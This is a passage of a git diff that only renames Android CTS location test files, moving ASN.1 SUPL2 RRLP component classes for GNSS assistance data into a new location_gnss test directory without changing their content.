rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AddionalAngleFields.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalDopplerFields.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AddionalDopplerFields.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalDopplerFields.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AddionalDopplerFields.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalAssistanceData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AdditionalAssistanceData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalAssistanceData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AdditionalAssistanceData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalDopplerFields.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AdditionalDopplerFields.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalDopplerFields.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AdditionalDopplerFields.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlertFlag.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AlertFlag.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlertFlag.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AlertFlag.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlmanacElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AlmanacElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlmanacElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AlmanacElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ECEFsbasAlmanacSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_ECEFsbasAlmanacSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ECEFsbasAlmanacSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_ECEFsbasAlmanacSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_GlonassAlmanacSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_GlonassAlmanacSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_GlonassAlmanacSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_GlonassAlmanacSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_KeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_KeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_KeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_KeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_MidiAlmanacSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_MidiAlmanacSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_MidiAlmanacSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_MidiAlmanacSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_NAVKeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_NAVKeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_NAVKeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_NAVKeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ReducedKeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_ReducedKeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ReducedKeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_ReducedKeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AntiSpoofFlag.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AntiSpoofFlag.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AntiSpoofFlag.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AntiSpoofFlag.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistBTSData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistBTSData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistBTSData_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistBTSData_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceNeeded.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceNeeded.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceNeeded.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceNeeded.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceSupported.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceSupported.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceSupported.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceSupported.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BCCHCarrier.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BCCHCarrier.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BCCHCarrier.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BCCHCarrier.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSIC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BSIC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSIC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BSIC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSICAndCarrier.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BSICAndCarrier.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSICAndCarrier.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BSICAndCarrier.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BTSPosition.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BTSPosition.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BTSPosition.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BTSPosition.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BadSignalElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BadSignalElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BadSignalElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BadSignalElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BitNumber.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BitNumber.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BitNumber.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BitNumber.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CNAVclockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CNAVclockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CNAVclockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CNAVclockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CalcAssistanceBTS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CalcAssistanceBTS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CalcAssistanceBTS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CalcAssistanceBTS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CellID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CellID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellIDAndLAC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CellIDAndLAC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellIDAndLAC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CellIDAndLAC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CommonGANSSAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CommonGANSSAssistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CommonGANSSAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CommonGANSSAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ControlHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ControlHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ControlHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ControlHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSExtensionSgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSExtensionSgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnTypeElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSExtensionSgnTypeElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnTypeElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSExtensionSgnTypeElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSSgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSSgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSSgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGANSSSgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrections.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSCorrections.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrections.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSCorrections.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrectionsValidityPeriod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSCorrectionsValidityPeriod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrectionsValidityPeriod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSCorrectionsValidityPeriod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSExtensionSatElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSExtensionSatElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSExtensionSatElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/DGPSExtensionSatElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EOTDQuality.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EOTDQuality.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EOTDQuality.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EOTDQuality.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EnvironmentCharacter.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EnvironmentCharacter.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EnvironmentCharacter.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EnvironmentCharacter.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EphemerisSubframe1Reserved.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EphemerisSubframe1Reserved.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EphemerisSubframe1Reserved.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/EphemerisSubframe1Reserved.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ErrorCodes.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ErrorCodes.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ErrorCodes.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ErrorCodes.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpOTDUncertainty.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ExpOTDUncertainty.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpOTDUncertainty.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ExpOTDUncertainty.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpectedOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ExpectedOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ExpectedOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ExpectedOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Extended_reference.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Extended_reference.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Extended_reference.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Extended_reference.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FineRTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FineRTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FineRTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FineRTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FixType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FixType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FixType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FixType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameDrift.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FrameDrift.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameDrift.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FrameDrift.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameNumber.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FrameNumber.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameNumber.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/FrameNumber.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddIonosphericModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAddIonosphericModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddIonosphericModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAddIonosphericModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddUTCModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAddUTCModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddUTCModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAddUTCModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoices.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoices.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoices.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoices.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoicesForOneGANSS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoicesForOneGANSS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoicesForOneGANSS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoicesForOneGANSS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAlmanacElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAlmanacElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAlmanacModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAlmanacModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceForOneGANSS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceForOneGANSS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceForOneGANSS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceForOneGANSS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAssistanceSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAuxiliaryInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAuxiliaryInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAuxiliaryInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSAuxiliaryInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSClockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSClockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSClockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSClockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSCommonAssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSCommonAssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSCommonAssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSCommonAssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitAssist.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBitAssist.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitAssist.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBitAssist.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitsSgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBitsSgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitsSgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDataBitsSgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaElementList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDeltaElementList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaElementList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDeltaElementList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaEpochHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDeltaEpochHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaEpochHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDeltaEpochHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrections.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDiffCorrections.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrections.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDiffCorrections.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrectionsValidityPeriod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDiffCorrectionsValidityPeriod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrectionsValidityPeriod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSDiffCorrectionsValidityPeriod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEarthOrientParam.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEarthOrientParam.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEarthOrientParam.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEarthOrientParam.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaBitSizes.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaBitSizes.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaBitSizes.java
